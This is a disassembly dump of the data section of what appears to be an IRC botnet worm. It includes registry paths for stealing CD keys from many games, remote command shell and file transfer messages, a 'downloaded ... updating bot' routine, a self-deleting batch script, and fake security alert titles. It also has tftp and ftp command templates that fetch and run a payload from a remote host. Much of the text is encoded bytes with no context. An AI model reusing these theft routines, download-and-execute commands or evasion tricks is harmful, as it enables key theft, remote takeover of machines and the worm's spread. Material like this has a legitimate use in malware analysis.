		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aCommandAndConq	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 10h
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aCommandAndCo_0	db 'Command and Conquer: Generals',0
		align 10h
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 10h
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 10h
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 10h
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 10h
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 10h
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 10h
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 10h
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 10h
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNascarRacing20	db 'Nascar Racing 2002',0
		align 10h
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2003',0
		align 10h
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 10h
aCdkey_4	db 'CDKey',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 10h
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aSerial_0	db 'Serial',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Red Alert 2',0
		align 4
aSerial_1	db 'Serial',0
		align 4
aCommandAndCo_3	db 'Command and Conquer: Red Alert 2',0
		align 10h
		db 53h
aOftwareWestw_2	db 'oftware\Westwood\NOX',0
		align 4
aSerial_2	db 'Serial',0
		align 10h
		dd offset loc_584F4C+2
aSoftwareTechla	db 'Software\Techland\Chrome',0
		align 10h
aSerialnumber	db 'SerialNumber',0
		align 10h
aChrome		db 'Chrome',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aKey_2		db 'key',0
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aLocation	db 'Location',0
		align 4
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aNwncdkey_ini	db 'nwncdkey.ini',0
		align 10h
aKey1		db 'Key1=',0
		align 4
aSoftwareBiow_0	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aLocation_0	db 'Location',0
		align 4
aNeverwinterN_0	db 'Neverwinter Nights (Shadows of Undrentide)',0
		align 4
aNwncdkey_ini_0	db 'nwncdkey.ini',0
		align 4
aKey2		db 'Key2=',0
		align 4
aSoftwareBiow_1	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aLocation_1	db 'Location',0
		align 4
aNeverwinterN_1	db 'Neverwinter Nights (Hordes of the Underdark)',0
		align 4
aNwncdkey_ini_1	db 'nwncdkey.ini',0
		align 4
aKey3		db 'Key3=',0
		align 4
aSS_9		db '%s\%s',0            ; DATA XREF: sub_4181FB+D5o
		align 4
aR_2:					; DATA XREF: sub_4181FB+E9o
		unicode	0, <r>,0
asc_44D810:				; DATA XREF: sub_4181FB+169o
		unicode	0, <=>,0
asc_44D814:				; DATA XREF: sub_4181FB+179o
		unicode	0, <=>,0
dword_44D818	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_4181FB+197o
		dd 0
dword_44D830	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_4181FB+1C0o
		dd 0
dword_44D848	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_4181FB+226o
		dd 0
		dd 234032Dh, 2636364h, 66202D03h, 656C6961h, 6F742064h
		dd 65706F20h, 6F73206Eh, 74656B63h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
		dw 0Ah
		unicode	0, <>,0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
unk_44D8EC	db  2Dh	; -		; DATA XREF: sub_41873A+67o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_3	db '- failed to create socket',0
		align 10h
unk_44D910	db  2Dh	; -		; DATA XREF: sub_41873A+CAo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_44D934	db  2Dh	; -		; DATA XREF: sub_41873A+19Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
unk_44D958	db  2Dh	; -		; DATA XREF: sub_41873A+1E1o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
dword_44D978	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_41873A+23Do
		dd 169h
dword_44D990	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: sub_41873A+326o
		dd 74756Fh
unk_44D9A8	db  2Dh	; -		; DATA XREF: sub_41873A+378o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_44D9CC	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: sub_41873A+482o
		dd 726F72h
dword_44D9E4	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: sub_41873A+49Co
		dd 726F72h
dword_44D9FC	dd 234032Dh, 2636364h, 66202D03h, 20656C69h, 73207325h
					; DATA XREF: sub_41873A+515o
		dd 20746E65h, 25206F74h, 25282073h, 79622073h, 29736574h
		dd 2Eh,	73257325h, 0
		dd 234032Dh, 2636364h, 65202D03h, 726F7272h, 616E7520h
		dd 20656C62h, 77206F74h, 65746972h, 6C696620h, 6F742065h
		dd 73696420h, 6Bh, 622B61h, 234032Dh, 2636364h,	65202D03h
		dd 726F7272h, 65706F20h, 676E696Eh, 6C696620h, 6F662065h
		dd 72772072h, 6E697469h, 67h, 234032Dh,	2636364h, 65202D03h
		dd 726F7272h, 65706F20h, 676E696Eh, 636F7320h, 74656Bh
		dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
		dd 726F72h, 234032Dh, 2636364h,	72202D03h, 69656365h, 20646576h
		dd 66207325h, 206D6F72h, 28207325h, 62207325h, 73657479h
		dd 2E29h, 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6C756F63h
		dd 74276E64h, 65706F20h, 6966206Eh, 203A656Ch, 7325h, 234032Dh
		dd 6E776F64h, 64616F6Ch, 202D0302h, 6E776F64h, 64616F6Ch
		dd 25206465h, 25282073h, 29424B64h, 0
		dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 20746F67h
		dd 61647075h, 25206574h, 25282073h, 29424B64h, 2Eh, 234032Dh
		dd 6E776F64h, 64616F6Ch, 202D0302h, 6E6F7277h, 69662067h
		dd 6973656Ch, 2820657Ah, 21206425h, 6425203Dh, 2E29h, 234032Dh
		dd 6E776F64h, 64616F6Ch, 202D0302h, 6E6F7277h, 72632067h
		dd 25282063h, 3D212064h, 29642520h, 2Eh, 234032Dh, 6E776F64h
		dd 64616F6Ch, 202D0302h, 6E776F64h, 64616F6Ch, 25206465h
		dd 2066312Eh, 7420424Bh, 7325206Fh, 25204020h, 2066312Eh
		dd 732F424Bh, 6365h, 6E65706Fh,	0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
		db  6Fh	; o
		db 70h,	65h, 6Eh
		db  65h	; e
		db 64h,	20h, 25h
		db  73h	; s
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
aUnknown_0	db 'Unknown',0          ; DATA XREF: sub_419788:loc_4197BEo
aInvalid	db 'Invalid',0          ; DATA XREF: sub_419788:loc_4197C5o
aDisk		db 'Disk',0             ; DATA XREF: sub_419788:loc_4197CCo
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_419788:loc_4197D3o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_419788:loc_4197DAo
		align 4
off_44DCE8	dd offset word_4D4152	; DATA XREF: sub_419788:loc_4197E1o
dword_44DCEC	dd 3Fh		aFailed		db 'failed',0           ; DATA XREF: sub_41983F:loc_4198ACo
		align 4
aFailed_0	db 'failed',0           ; DATA XREF: sub_41983F+80o
		align 10h
aFailed_1	db 'failed',0           ; DATA XREF: sub_41983F+93o
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_41983F+CAo
		align 10h
aSkb_0		db '%sKB',0             ; DATA XREF: sub_41983F+105o
		align 4
aSkb_1		db '%sKB',0             ; DATA XREF: sub_41983F+140o
		align 10h
aFailed_2	db 'failed',0           ; DATA XREF: sub_4199AA+3Ao
		align 4
unk_44DD28	db  2Dh	; -		; DATA XREF: sub_4199AA+5Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
unk_44DD64	db  2Dh	; -		; DATA XREF: sub_4199AA+95o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 10h
off_44DDA0	dd offset loc_5C3A41	; DATA XREF: sub_419A83+60o
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 72616573h
		dd 6E696863h, 6F662067h, 69662072h, 2520656Ch, 73h, 234032Dh
		dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 64252064h
		dd 6C696620h, 7365h, 2A5C7325h,	0
		dd 255C7325h, 73h, 255C7325h, 73h, 234032Dh, 646E6966h
		dd 656C6966h, 202D0302h, 6E756F66h, 73252064h, 73255Ch
dword_44DE20	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44DE6C	dd 3000005h, 10h, 18h, 1, 3 dup(0); ---------------------------------------------------------------------------


loc_44DE88:				; DATA XREF: sub_419E40+1C5o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_44DE9C	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_419E40+20Co
aWindowsSecurit	db 'Windows Security Alert',0 ; DATA XREF: .XComp0:0041A10Do
		align 4
aBitdefenderFir	db 'BitDefender Firewall Alert',0 ; DATA XREF: .XComp0:loc_41A14Eo
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41A5B6+A3o
		align 4
aMirc_2		db 'mIRC',0             ; DATA XREF: sub_41A6C1+8o
		align 10h
aMirc_3		db 'mIRC',0             ; DATA XREF: sub_41A6C1+1Co
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_41A75B+19o
		align 4
aSS_4		db '%s %s',0            ; DATA XREF: .XComp0:0041A889o
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_41A8DC+5o
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_41A907+41o
		align 10h
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_41A907+8Bo
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41A907+16Eo
		align 4
dword_44DF9C	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_41AAD0+64o
		dd 65726165h, 64h
unk_44DFB8	db  2Dh	; -		; DATA XREF: sub_41AAD0+9Bo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 10h
unk_44DFE0	db  2Dh	; -		; DATA XREF: sub_41AAD0:loc_41AB9Bo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 10h
aTftpISGetSS	db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: .XComp0:0041AC6Bo
aEchoOpenSDOE_0	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: .XComp0:0041ACA0o
		db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0
aNetapi32_dll_0	db 'netapi32.dll',0     ; DATA XREF: sub_41AD09:loc_41AD82o
		align 4
aNetmessagebu_0	db 'NetMessageBufferSend',0 ; DATA XREF: sub_41AD09+87o
		align 10h
off_44E0B0	dd offset dword_44E104	; DATA XREF: sub_41AE5B+7Br
					; sub_41B4ED+A6r ...
off_44E0B4	dd offset aAdded	; DATA XREF: sub_41AE5B+3Ar
					; sub_41B4ED+79r ...
					; "Added"
dword_44E0B8	dd 0				dd offset aDelete_1	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 44E150h, 44E158h,	2, 44E160h, 44E16Ch, 3
dword_44E104	dd 646441h	aAdded		db 'Added',0            ; DATA XREF: .XComp0:off_44E0B4o
		align 10h
aDelete_1	db 'Delete',0           ; DATA XREF: .XComp0:0044E0BCo
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .XComp0:0044E0C0o
aList_1		db 'List',0             ; DATA XREF: .XComp0:0044E0C8o
		align 4
aListed		db 'Listed',0           ; DATA XREF: .XComp0:0044E0CCo
		align 10h
aStart_0	db 'Start',0            ; DATA XREF: .XComp0:0044E0D4o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .XComp0:0044E0D8o
aStop_0		db 'Stop',0             ; DATA XREF: .XComp0:0044E0E0o
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .XComp0:0044E0E4o
aPause_0	db 'Pause',0
		align 4
aPaused_0	db 'Paused',0
		align 10h
aContinue_0	db 'Continue',0
		align 4
aContinued	db 'Continued',0
		align 4
unk_44E178	db  2Dh	; -		; DATA XREF: sub_41AE5B+40o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
unk_44E194	db  2Dh	; -		; DATA XREF: sub_41AE5B+61o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_44E1C0	db  2Dh	; -		; DATA XREF: sub_41AE5B+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_41AFD4:loc_41B0BFo
		align 4
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_41AFD4:loc_41B0D5o
aTheSpecifiedSe	db 'The specified service name is invalid.',0
					; DATA XREF: sub_41AFD4:loc_41B0EBo
		align 4
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_41AFD4:loc_41B101o
		align 10h
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_41AFD4:loc_41B117o
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_41AFD4:loc_41B12Do
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_41AFD4:loc_41B143o
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_41AFD4:loc_41B159o
		db 'marked for deletion.',0
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_41AFD4:loc_41B16Fo
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_41AFD4:loc_41B185o
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_41AFD4:loc_41B19Bo
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_41AFD4:loc_41B1B1o
		db ' correct access rights.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_41AFD4:loc_41B1C7o
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_41AFD4:loc_41B1DDo
		align 10h
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_41AFD4:loc_41B1F3o
		db 'tServiceCtrlDispatcher.',0
		align 4
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_41AFD4:loc_41B209o
		db 'dependent on it.',0
		align 10h
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_41AFD4:loc_41B21Co
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_41AFD4:loc_41B22Fo
		db ' the service.',0
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_41AFD4:loc_41B242o
		db 'the state of the service.',0
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_41AFD4:loc_41B255o
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_41AFD4:loc_41B268o
		align 4
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_41AFD4+2AAo
		align 10h
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41B2D1+24o
		align 10h
aStopped	db '    Stopped',0      ; DATA XREF: sub_41B2D1:loc_41B3C5o
aStarting	db '   Starting',0      ; DATA XREF: sub_41B2D1:loc_41B3DDo
aStoping	db '    Stoping',0      ; DATA XREF: sub_41B2D1:loc_41B3F2o
aRunning	db '    Running',0      ; DATA XREF: sub_41B2D1:loc_41B407o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41B2D1:loc_41B41Co
aPausing	db '    Pausing',0      ; DATA XREF: sub_41B2D1:loc_41B431o
aPaused		db '     Paused',0      ; DATA XREF: sub_41B2D1:loc_41B446o
aUnknown	db '    Unknown',0      ; DATA XREF: sub_41B2D1:loc_41B45Bo
aSSS_1		db '%s: %s (%s)',0      ; DATA XREF: sub_41B2D1+1C4o
dword_44E71C	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_41B4ED+7Fo
		dd 73252720h, 27h
unk_44E738	db  2Dh	; -		; DATA XREF: sub_41B4ED+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
unk_44E764	db  2Dh	; -		; DATA XREF: sub_41B4ED+CCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_41B758+2Co
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_41B758+B5o
aNo		db 'No',0               ; DATA XREF: sub_41B758:loc_41B819o
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_41B758+E2o
		align 10h
unk_44E7E0	db  2Dh	; -		; DATA XREF: sub_41B758+136o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
unk_44E808	db  2Dh	; -		; DATA XREF: sub_41B8D8+96o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_44E828	db  2Dh	; -		; DATA XREF: sub_41B8D8+C3o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_44E858	db  2Dh	; -		; DATA XREF: sub_41B8D8+E3o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_41BA71+67o
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_41BA71+9Bo
		align 4
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_41BA71+CFo
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_41BA71+103o
aGuest_0	db 'Guest',0            ; DATA XREF: sub_41BA71:loc_41BBCBo
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_41BA71:loc_41BBD4o
		align 4
aAdministrato_0	db 'Administrator',0    ; DATA XREF: sub_41BA71:loc_41BBDDo
		align 4
aUnknown_1	db 'Unknown',0          ; DATA XREF: sub_41BA71:loc_41BBE6o
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_41BA71+17Fo
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_41BA71+1B3o
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_41BA71+1E7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_41BA71+21Bo
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_41BA71+24Fo
		align 10h
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_41BA71+283o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_41BA71+2B7o
		align 10h
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_41BA71+2EBo
		align 10h
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_41BA71+31Fo
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_41BA71+353o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_41BA71+387o
		align 4
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_41BA71+3BBo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_41BA71+3EFo
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_41BA71+423o
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_41BA71+457o
		align 4
unk_44EA08	db  2Dh	; -		; DATA XREF: sub_41BA71+48Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41BF3D+3Co
unk_44EA50	db  2Dh	; -		; DATA XREF: sub_41BF3D+C3o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_35		db '  %S',0             ; DATA XREF: sub_41BF3D+F7o
		align 4
unk_44EA84	db  2Dh	; -		; DATA XREF: sub_41BF3D+149o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41BF3D+1A9o
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41C123:loc_41C24Co
		align 10h
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41C123:loc_41C262o
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41C123:loc_41C278o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41C123:loc_41C28Eo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41C123:loc_41C2A4o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41C123:loc_41C2BAo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41C123:loc_41C2D0o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41C123:loc_41C2E6o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41C123:loc_41C2FCo
		align 4
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41C123:loc_41C312o
		align 4
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41C123:loc_41C328o
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41C123:loc_41C33Eo
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41C123:loc_41C354o
		db ' the domain.',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41C123:loc_41C36Ao
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41C123:loc_41C37Do
		align 10h
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41C123:loc_41C390o
		db 'ord policy requirement.)',0
		align 4
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41C123:loc_41C3A3o
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41C123:loc_41C3B6o
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41C123:loc_41C3C9o
		align 4
